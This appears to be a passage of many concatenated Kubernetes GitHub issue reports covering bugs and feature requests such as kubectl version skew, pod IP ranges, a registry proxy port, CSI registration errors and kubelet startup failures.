compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+43a9be4\ , gitcommit:\ 43a9be4\ , gittreestate:\ clean\ , builddate:\ 2017-04-20t15:38:11z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r cluster from openstack\r - os  e.g. from /etc/os-release :\r red hat enterprise linux server 7.3  maipo \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.7.5\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others: use kubeadm install\r

what happened  :\r \r we currently unregister the csi driver if an error happens while registering it. then, if another error happens, we return only the unregistration error.\r \r the problem is that the user will only see the unregistration error if they check the registrar logs. this gives the  impression that it never tried to register the driver.\r \r   what you expected to happen  :\r \r the user should see the registration error instead.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   try to install a csi driver in a cluster where _csinodeinfo_ and/or _csidriver_ crds are not created.\r   check registrar logs\r \r   \r cc @vladimirvivien, @msau42, @jsafrane \r

currently in kubemark we are mokcing the whole \ proxier\  to be no-op. with that, we are missing a lot of things that kube-proxy is in fact doing.\r \r we should mock kubeproxy at the \ iptables\  layer:\r - use the real kube-proxy code as it is\r - only pass some \ no-op\  implementation of iptables to it\r \r we should be much close to its realistic behavior then.\r \r @gmarek @shyamjvs

when the ip-masq-agent is activated, kubelet installs a rule that looks like:  -a postrouting ! -d 0.0.0.0/0  which is nonsensical.\r \r @dnardo\r \r

this happened recently in runs 443 and 445. the apiserver failed to start due to not being able to find its certificate:\r    \r unable to load server certificate: open /etc/srv/kubernetes/server.cert: no such file or directory\r    \r \r even though all the required auth files were copied to the master:\r    \r kubemark-2000-kubemark-master shyamjvs   ls /home/kubernetes/k8s_auth_data/\r basic_auth.csv  ca.crt  known_tokens.csv  kube-controller-manager  kube-scheduler  kubecfg.crt  kubecfg.key  server.cert  server.key\r    \r \r cc @kubernetes/sig-scalability-bugs @wojtek-t @gmarek

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r this pr is for multiarch support for pets image\r \r copied over the contrib/pets/peer-finder as this one is heavily used in many docker images under test/images. after this pr i'll submit the pr in contrib project to remove it.\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r tried to follow logs for multiple pods via  /api/v1/namespaces/<ns>/pods/<pod_id>/log?follow=true  and am seeing the output of each successfully at first, but then each of the commands die with  unexpected stream type \   until one is remaining, which continues to run successfully.\r \r   what you expected to happen  :\r each of the commands should run successfully and none should crash.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - pick a few different pod id's and concurrently follow their logs by curling  <kube_api>/api/v1/namespaces/<ns>/pods/<pod_id>/log?follow=true \r - observe that each runs properly initially\r - after some time  less time if higher logging output from concerned pods , observe that all follow commands but one crash with  unexpected stream type \  \r \r   anything else we need to know?  :\r below are related errors in the minikube logs\r  sep 18 19:49:54 minikube localkube 3117 : e0918 19:49:54.395625    3117 kuberuntime_logs.go:201  failed with err unexpected stream type \ \  when writing log for log file \ /var/log/pods/ac9d21f0-9ca4-11e7-8cf7-0800272ac2f4/web_0.log\ : &{timestamp:{sec:63641360994 nsec:395319623 loc:<nil>} stream: log:  } \r  sep 18 19:49:54 minikube localkube 3117 : http: multiple response.writeheader calls \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-09-11t21:52:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : none\r - os  e.g. from /etc/os-release : minikube v0.22.1 on macos with virtualbox driver\r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r

background\r 1. we have some low level node performance optimization features already implemented in the kubelet  e.g., cpu manager .\r 2. we don't have a way to objectively measure how well certain performance-sensitive applications run on k8s across versions.\r 3. we don’t have performance data on how performance-sensitive applications benefit from the already implemented features.\r 4. we don't have a way to measure the effect of further performance features on the classes of performance sensitive applications that our users care about. this leads to making decisions based on speculative analysis of performance impact, or inability to make decisions.\r 5. in march 2018 at the latest resource management working group face-to-face meeting, we agreed to prioritize building a node performance testing framework and suite over some of the performance optimization proposals. this way we can make better decisions based on objective data.\r \r   goals\r 1. detect performance regressions.\r 2. provide objective data to guide node performance optimization features.\r \r   proposal document\r https://docs.google.com/document/d/14sfsl1bs5jeninayn7kgran9m5zhuylpbpvtrz1mk94/edit \r \r   phase 1 action/exploration items\r 1. node e2e test driver.\r 2. determine initial set of workloads.\r 3. add workload container images for node performance testing.\r 4. documentation.\r 5. periodically run the node perf testing suite with initial set of workloads. \r 6. represent node performance test results in one of the test dashboards.\r     1. choose either https://k8s-testgrid.appspot.com/ or http://node-perf-dash.k8s.io. \r     2. initial result will be failed or passed. \r         1. use some simple stats  e.g., the test failed if performance of workload x falls outside of -5% performance from the average performance of the last 10 runs of the workload .\r     3. resources\r         1. node-perf-dash: https://github.com/kubernetes/contrib/tree/master/node-perf-dash\r         2. testgrid: https://github.com/kubernetes/test-infra/tree/master/testgrid\r         3. compare between two test runs: https://github.com/kubernetes/perf-tests/tree/master/compare. \r         4. how passed or failed is posted now: https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/gubernator.sh l152-l157\r         5. do we need to use nodeperfdata type: https://github.com/kubernetes/kubernetes/blob/master/test/e2e/perftype/perftype.go l38-l45\r \r   pull requests\r 1. adding docker images for workloads: https://github.com/kubernetes/kubernetes/pull/65251.\r 2. the node performance testing framework: https://github.com/kubernetes/kubernetes/pull/65250.\r \r /assign @balajismaniam @connordoyle. \r cc @vishh @derekwaynecarr

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r  kube-system  pods are receiving ips outside the specified  --pod-cidr  range.\r all other pods are being addressed as expected, like this:\r \r    \r kubectl get pods -o wide --all-namespaces\r namespace             name                            ip              node    \r default            hello-rc-97rgh                   10.244.1.12         node2              \r default            hello-rc-cph6h                   10.244.1.13         node2              \r default            hello-rc-ct52m                   10.244.1.7         node2              \r default            hello-rc-fdwms                   10.244.1.5          node2              \r default            hello-rc-ffc2f                   10.244.1.6         node2              \r default            hello-rc-zlkvx                   10.244.1.8          node2              \r kube-system   coredns-fb8b8dccf-555ff               10.244.0.13        node1              \r kube-system   coredns-fb8b8dccf-pn8hw               10.244.0.12        node1              \r kube-system   etcd-node1                             192.168.56.10      node1              \r kube-system   kube-apiserver-node1                  192.168.56.10      node1              \r kube-system   kube-controller-manager-node1         192.168.56.10      node1              \r kube-system   kube-flannel-ds-amd64-cjddt            192.168.56.10       node1              \r kube-system   kube-flannel-ds-amd64-h9d5s           192.168.56.11        node2              \r kube-system   kube-flannel-ds-amd64-lztwp           192.168.56.12     node3              \r kube-system   kube-proxy-26bzt                      192.168.56.10      node1              \r kube-system   kube-proxy-b22z2                      192.168.56.11     node2              \r kube-system   kube-proxy-q4m4p                     192.168.56.12      node3              \r kube-system   kube-scheduler-node1                  192.168.56.10     node1                             \r    \r also\r    \r kubectl get nodes -o wide:\r name    status   roles    age     version   internal-ip     external-ip \r node1   ready    master   4h37m   v1.14.0   192.168.56.10   <none>      \r node2   ready    <none>   4h24m   v1.14.0   192.168.56.11   <none>      \r node3   ready    <none>   4h24m   v1.14.0   192.168.56.12   <none>      \r    \r \r   what you expected to happen  :\r all pods to get an ip of type  10.244.0.x .\r \r   how to reproduce it  as minimally and precisely as possible   :\r created a test cluster by following official docs.\r 1.  kubeadm init --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.56.10 \r 2.  kubectl apply -f flannel-github-url \r but on flannel i changed  --iface=enp0s8 , though it did not work as i expected but i managed to set node ips by passing  --node-ip  to kubelet.\r 3. deployed a replica set with 10 replicas\r 4. create a  nodeport  service using following command:\r  kubectl expose rc hello-rc --name=hello-svc --target-port=8080 --type=nodeport \r \r note that i do not think it is a dup of  58908 because  --cluster-cidr  is same for both  flannel  and  kube-controller-manager.yaml .\r \r   environment  :\r all nodes have 2 virtualbox related network interfaces:\r 1- host-only\r 2- nat\r \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:53:57z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:45:25z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r no cloud provider, only virtualbox vms connected via  host-only  network.\r \r - os  e.g:  cat /etc/os-release  :\r ubuntu 18.04 lts\r \r - kernel  e.g.  uname -a  :\r linux node1 4.15.0-46-generic  49-ubuntu smp wed feb 6 09:33:07 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r  kubeadm \r @kubernetes/sig-network

the desired behavior is: - create spec.replica pods - as pods keep coming down watch, update status.replicas, so users have pseudo real-time feedback - if during this time someone submits a new update to spec.replicas that bumps up the generation, _dont_ update status.generation to match - update generation when pending creates/deletes are observed  without the third check, we could confuse a client who quicky scales up/down into thinking the current  observedgeneration  is for their spec  because spec will match status, but we still have pending creates/deletes .   observed in: https://pantheon.corp.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/24391/kubernetes-pull-build-test-e2e-gce/38289/artifacts/e2e-gce-builder-1-1-master/  where we see:      namespace=e2e-tests-kubectl-hmzrp' may  4 09:19:29.531: info: stderr: \ \  may  4 09:19:29.531: info: stdout: \ e2e-test-nginx-rc-5493b4dd19a2f0b510d66cdf3257d332-szqs6 e2e-test-nginx-rc-9vzqn\  step: replicas for run=e2e-test-nginx-rc: expected=1 actual=2      because kubectl rolling-update deleted the rc soon after creation.

33186 highlighted the fact that we do not yet have a soak test for federation configured in jenkins.  the basic idea is to have a ci test job which repeatedly runs all of our e2e tests, over and over, against a single federation, without tearing it down between runs. typically we run the clusters for about a week.  this can be modelled on the existing kubernetes soak tests:  https://k8s-testgrid.appspot.com/google-soak  @colhom @madhusudancs would either of you like to take a shot at this for v1.5?  cc @kubernetes/sig-cluster-federation

is this a request for help?   no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  set image     is this a bug report or feature request?    choose one : bug report  as the subject says, there are no unit tests for \ set image\ . this is partly due to the package that the cmd fakes are in. i'll post a pr with the fake newapifactory   moved into a subpackage so there is no import loop.

we need to eventually remove the opt-in for the behavior where kubelet fails with swap enabled. swap enabled should be an error by default.  this can't be done immediately because we need to maintain legacy behavior.  todo introduced in: https://github.com/kubernetes/kubernetes/issues/34463

kubernetes version    use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:13:23z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r -   kernel    e.g.  uname -a  :  linux ip-10-53-83-178 4.4.23-k8s  1 smp fri sep 30 13:51:02 utc 2016 x86_64 gnu/linux \r -   install tools  : kops\r \r   what happened  :\r \r i installed the project's  built in docker registry  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/registry  for cluster image hosting. it deployed to each node. i could not access the registry from each node on http://localhost:5000 as documented.\r \r    \r $ kubectl describe service kube-registry --namespace=kube-system\r name:\t\t\tkube-registry\r namespace:\t\tkube-system\r labels:\t\t\tk8s-app=kube-registry\r \t\t\tkubernetes.io/cluster-service=true\r \t\t\tkubernetes.io/name=kuberegistry\r selector:\t\tk8s-app=kube-registry\r type:\t\t\tclusterip\r ip:\t\t\t100.71.167.69\r port:\t\t\tregistry\t5000/tcp\r endpoints:\t\t100.96.18.70:5000\r session affinity:\tnone\r no events.\r \r $ kubectl describe rc --namespace=kube-system\r name:\t\tkube-registry-v0\r namespace:\tkube-system\r image s :\tregistry:2\r selector:\tk8s-app=kube-registry,version=v0\r labels:\t\tk8s-app=kube-registry\r \t\tkubernetes.io/cluster-service=true\r \t\tversion=v0\r replicas:\t1 current / 1 desired\r pods status:\t1 running / 0 waiting / 0 succeeded / 0 failed\r volumes:\r   image-store:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tkube-registry-pvc\r     readonly:\tfalse\r no events.\r \r $ kubectl describe pod kube-registry-proxy-ip-10-53-83-178.us-west-2.compute.internal --namespace=kube-system\r name:\t\tkube-registry-proxy-ip-10-53-83-178.us-west-2.compute.internal\r namespace:\tkube-system\r node:\t\tip-10-53-83-178.us-west-2.compute.internal/10.53.83.178\r start time:\tthu, 15 dec 2016 23:18:13 +0000\r labels:\t\t<none>\r status:\t\trunning\r ip:\t\t100.96.17.24\r controllers:\t<none>\r containers:\r   kube-registry-proxy:\r     container id:\tdocker://b1844eb046d85a65a6545a1b906e8920133f168cd11a6a07a55058cccc6d1c25\r     image:\t\tgcr.io/google_containers/kube-registry-proxy:0.3\r     image id:\t\tdocker://sha256:b86ac3f11a0c35b480138b9c3a555c2d8abb5b40023df3dd257ce9d432ee6006\r     port:\t\t80/tcp\r     limits:\r       cpu:\t100m\r       memory:\t50mi\r     requests:\r       cpu:\t\t100m\r       memory:\t\t50mi\r     state:\t\trunning\r       started:\t\tthu, 15 dec 2016 23:59:27 +0000\r     ready:\t\ttrue\r     restart count:\t0\r     environment variables:\r       registry_host:\tkube-registry.kube-system.svc.cluster.local\r       registry_port:\t5000\r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \ttrue \r   podscheduled \ttrue \r no volumes.\r qos tier:\tguaranteed\r no events.\r    \r \r   what you expected to happen  :\r \r to access the registry on each node at http://localhost:5000\r \r   how to reproduce it    as minimally and precisely as possible :\r \r  curl http://localhost:5000  on each node\r \r   anything else do we need to know  :\r \r i worked around this first by reading  38843 and second by changing the containerport to 5000 after inspecting the network inside one of the proxy containers. there is no service listening on tcp port 80.\r

when making a change to the command line parameters in  /etc/kubernetes/manifests/kube-apiserver.json , if the parameters aren't just right, the kube-apiserver fails to restart.\r \r the actual problem is that the dead container, and the associated logs, disappear very quickly, so it's difficult to see the logs. as an example, as soon as i change the manifest file to have an incorrect parameter, docker ps -a watches to see how long the container is visible. within 15-30s, the dead container is gone.\r \r    sh\r root@k-a-master:~  while true ; do date ; docker ps -a | grep \ kube-apiserver\  ; sleep 10 ; done\r tue jan 31 19:08:20 utc 2017\r 81583ddcebdd        gcr.io/jacobsimpson-gke-dev/kube-apiserver-amd64@sha256:89e20ad6125357716e4aa1abc2b40b85e66ac76d59d3128024f4d39416a5692a            \ kube-apiserver --v=1\    25 seconds ago       exited  2  2 seconds ago                              k8s_kube-apiserver.5b0f77ec_kube-apiserver-k-a-master_kube-system_ca98dd4f5fc2d57332838d5431ca6d72_0a7165aa\r c19860bedfcd        gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516                        \ /pause\                  26 seconds ago       exited  0  2 seconds ago                              k8s_pod.f932fb66_kube-apiserver-k-a-master_kube-system_ca98dd4f5fc2d57332838d5431ca6d72_9de2d588\r tue jan 31 19:08:30 utc 2017\r 81583ddcebdd        gcr.io/jacobsimpson-gke-dev/kube-apiserver-amd64@sha256:89e20ad6125357716e4aa1abc2b40b85e66ac76d59d3128024f4d39416a5692a            \ kube-apiserver --v=1\    36 seconds ago       exited  2  12 seconds ago                        k8s_kube-apiserver.5b0f77ec_kube-apiserver-k-a-master_kube-system_ca98dd4f5fc2d57332838d5431ca6d72_0a7165aa\r c19860bedfcd        gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516                        \ /pause\                  37 seconds ago       exited  0  12 seconds ago                        k8s_pod.f932fb66_kube-apiserver-k-a-master_kube-system_ca98dd4f5fc2d57332838d5431ca6d72_9de2d588\r tue jan 31 19:08:41 utc 2017\r 81583ddcebdd        gcr.io/jacobsimpson-gke-dev/kube-apiserver-amd64@sha256:89e20ad6125357716e4aa1abc2b40b85e66ac76d59d3128024f4d39416a5692a            \ kube-apiserver --v=1\    46 seconds ago      exited  2  22 seconds ago                         k8s_kube-apiserver.5b0f77ec_kube-apiserver-k-a-master_kube-system_ca98dd4f5fc2d57332838d5431ca6d72_0a7165aa\r c19860bedfcd        gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516                        \ /pause\                  47 seconds ago      exited  0  22 seconds ago                         k8s_pod.f932fb66_kube-apiserver-k-a-master_kube-system_ca98dd4f5fc2d57332838d5431ca6d72_9de2d588\r tue jan 31 19:08:51 utc 2017\r 81583ddcebdd        gcr.io/jacobsimpson-gke-dev/kube-apiserver-amd64@sha256:89e20ad6125357716e4aa1abc2b40b85e66ac76d59d3128024f4d39416a5692a            \ kube-apiserver --v=1\    56 seconds ago      exited  2  32 seconds ago                         k8s_kube-apiserver.5b0f77ec_kube-apiserver-k-a-master_kube-system_ca98dd4f5fc2d57332838d5431ca6d72_0a7165aa\r c19860bedfcd        gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516                        \ /pause\                  57 seconds ago      exited  0  32 seconds ago                         k8s_pod.f932fb66_kube-apiserver-k-a-master_kube-system_ca98dd4f5fc2d57332838d5431ca6d72_9de2d588\r tue jan 31 19:09:01 utc 2017\r tue jan 31 19:09:11 utc 2017\r    \r \r the kubelet is running with these parameters:\r \r    sh\r root@k-a-master:~  ps -ef | grep \  k ubelet\ \r root     26434     1  2 18:40 ?        00:00:52 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local\r root     32281 32261  0 19:08 ?        00:00:00 kube-controller-manager --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 --cluster-name=kubernetes --root-ca-file=/etc/kubernetes/pki/ca.crt --service-account-private-key-file=/etc/kubernetes/pki/apiserver.key --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt --cluster-signing-key-file=/etc/kubernetes/pki/ca.key --insecure-experimental-approve-all-kubelet-csrs-for-group=kubeadm:kubelet-bootstrap\r    \r \r ideally a dead container would last for at least 10-15 minutes, so it's possible to easily see the logs. the best possible scenario would be if a failed container stayed until 10-15 minutes after it successfully restarts. so, the logs of a dead apiserver would be visible as long as there is no live apiserver.

this is a new feature request.\r \r many applications read the credentials they need at start-up and then keep the credential in memory.\r using secret or vault workflows such as the one described  here  https://github.com/boostport/kubernetes-vault  credentials are passed to the container as files in a mounted filesystem.\r anyone who can rsh to that container can see the credentials also i suspect anyone who can ssh to the node running the container can mount that file system and read the credentials.\r to mitigate this issue i'd like to propose a feature that would allow to configure a volume to be unmounted after the container is ready. it could look something like:\r    \r     volumemounts:\r     - mountpath: /credentials\r       name: secrets-volume\r       removewhenready: true\r    \r that mount point would be removed after the container enters the ready state. the application must obviously be designed to read all the credentials when initializing.\r the convention should also be that if no container in a pod is using a volume then the volume is erased from the node.\r \r

is this a bug report or feature request?  : feature request\r \r   current behavior  :\r in a service with type=loadbalancer it's possible to set a static ip already reserved by using loadbalancerip: https://kubernetes.io/docs/user-guide/services/ type-loadbalancer\r \r ingresses allow using global static ips by name via annotations: https://github.com/kubernetes/contrib/pull/563\r \r   desired behavior  :\r it would be nice to be able to define a service with type=loadbalancer with the name of a reserved static ip address.\r i'm not aware if this is feasible for all the cloud providers but it is for gce.\r \r thanks.\r

is this a request for help?  :\r \r no.\r \r   what keywords did you search in kubernetes issues before filing this one?  :\r \r   kubectl deployment\r   deployment reaper\r   delete deployment\r \r ---\r \r   is this a bug report or feature request?  :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.2.1799+355f576c0b24d6\ , gitcommit:\ 355f576c0b24d6395d1bbedbb4ba5f13a2821390\ , gittreestate:\ clean\ , builddate:\ 2017-03-15t18:54:51z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r   what happened  :\r \r delete deployment in 1.5 master with 1.6 kubectl. its replicasets were not deleted.\r \r   what you expected to happen  :\r \r the deployment's replicasets should be deleted.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r use kubectl 1.6 against kubernetes 1.5 master.\r \r    sh\r kubectl run nginx --image=nginx\r kubectl delete deployment nginx\r kubectl get rs\r    \r \r   anything else we need to know  :\r \r this issue is forked from https://github.com/kubernetes/kubernetes/issues/42738 issuecomment-285158244 because that issue was primarily just about an upgrade test and was mitigated separately.\r \r this happens because the 1.6 code expects deployments to apply controllerref to replicasets they own, but 1.5 does not yet do that. according to  42392, we should maintain compatibility with +/-1 minor version for kubectl skew.\r \r some options from brainstorming:\r \r 1. have kubectl 1.6 maintain the 1.5 behavior  don't check controllerref . it will do the wrong thing in the presence of overlapping selectors  i.e.  the user did something wrong  , both in 1.5 and 1.6 clusters.\r 2. have kubectl 1.6 check controllerref. it will do the right thing in the presence of overlapping selectors in 1.6 clusters. it will do the wrong thing in 1.5 clusters even with no overlaps present  i.e.  the user did nothing wrong  .  current state at head \r 3. have kubectl 1.6 behave differently based on the cluster version it's talking to. there appears to be no precedent for this in kubectl.\r 4. have kubectl 1.6 implement some fallback behavior  perhaps involving created-by annotation?  that would work in both 1.5 and 1.6 clusters.\r \r cc @erictune @janetkuo @kargakis @kubernetes/sig-cli-bugs @kubernetes/sig-apps-bugs

i don't have a clue how this would work. but i've heard this request a couple times now, so maybe somebody else has some magical idea.\r \r maybe if we limited it to  --all-authorized-namespaces  or something, we could do an initial get namespaces, followed by a bunch of get pods that silently drop all the 403s. that would require the caller to have namespaces.get on the cluster, which may also be asking too much.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r winows kernel proxy still hard code the timeout value of session affinity.\r \r   what you expected to happen  :\r \r remove hard code of session affinity timeout in winows kernel proxy - we have already done this in userspace, iptables and ipvs proxy.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /area kube-proxy\r /assign @m1093782566

is this a bug report or feature request?  :\r   \r   what happened  :\r  kubectl describe psp  doesn't describe  allowprivilegeescalation  option.\r \r   what you expected to happen  :\r  allowprivilegeescalation  value should be present.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    console\r $ kubectl describe psp restricted | grep -i escalation\r $\r    \r \r   environment  :\r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0-beta1\ , gitcommit:\ 3258431\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t16:20:36z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.556+af78b9bac4d34e-dirty\ , gitcommit:\ af78b9bac4d34eeec4adcf48f90845d5b325e081\ , gittreestate:\ dirty\ , builddate:\ 2018-01-08t14:52:54z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

i am trying to experiment and learn how to configure a cluster from scratch using kubeadm which involves a lot of trial-and-error. suddenly i am getting this response when i tried to re-init the cluster.\r  unable to fetch file. url: \ https://dl.k8s.io/release/stable-1.9.txt\  status: 403 forbidden \r \r checking the url, the xml response is the following.\r    \r <error>\r <code>securitypolicyviolated</code>\r <message>request violates orgpolicy constraint.</message>\r <details>request is prohibited by organization's policy</details>\r </error>\r    \r i am guessing i hit some sort of spam block? if so, how long does it take to reset? or do i need to do anything besides waiting?\r \r @kubernetes/sig-release-bugs

flaky job: pr:pull-kubernetes-kubemark-e2e-gce-big  flakes in the past week:   27    consistency:   94.10%         flakiest tests by flake count: | test | flake count | | --- | --- | | kubemark overall | 14 | | kubemark test | 11 | | up | 10 |       previously closed issues for this job flaking:  62267     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

hello,\r \r we are using openebs version 0.6  with provisioner iscsi and deployed it in kubernetes version 1.10.5.\r \r we created one pvc with access mode \ readwriteonce\ , and it is working fine.\r now we want to read data from the same pvc that we created earlier, so we come to know under this link from the table of content, that iscsi is supporting \ readonlymany\  access mode.\r \r but when we trien to apply it on our another pod it gives the following error:\r \r <invalid>  x12 over <invalid>  openebs.io/provisioner-iscsi openebs-provisioner-5569654c96-4rlsn 760ae66d-9ebc-11e8-97d4-823996605407 failed to provision volume with storageclass \ openebs-standard\ : invalid access modes:  readonlymany , supported access modes:  readwriteonce \r \r so after googling this error we came across this issue.\r \r so when will we expect support for readonlymany access mode?\r \r thanks.\r ronak

is this a bug report or feature request?  :\r  \r   what happened  :\r \r after upgrading to docker ee-basic 18.03, the kubelet won't start :\r \r    \r flag --address has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r ...\r flag --resolv-conf has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r i1018 04:06:42.719101    2912 server.go:408  version: v1.12.1\r e1018 04:06:44.012550    2912 server.go:731  kubelet needs to run as uid  0 . it is being run as -1\r w1018 04:06:44.012550    2912 server.go:741  setting oom scores is unsupported in this build\r i1018 04:06:44.013511    2912 kubelet.go:304  watching apiserver\r w1018 04:06:44.021533    2912 iptables.go:155  error checking iptables version, assuming version at least 1.4.11: executable file not found in %path%\r i1018 04:06:44.025520    2912 client.go:104  start docker client with request timeout=2m0s\r e1018 04:06:44.026503    2912 kube_docker_client.go:91  failed to retrieve docker version: error response from daemon: client version 1.38 is too new. maximum supported api version is 1.37\r w1018 04:06:44.027498    2912 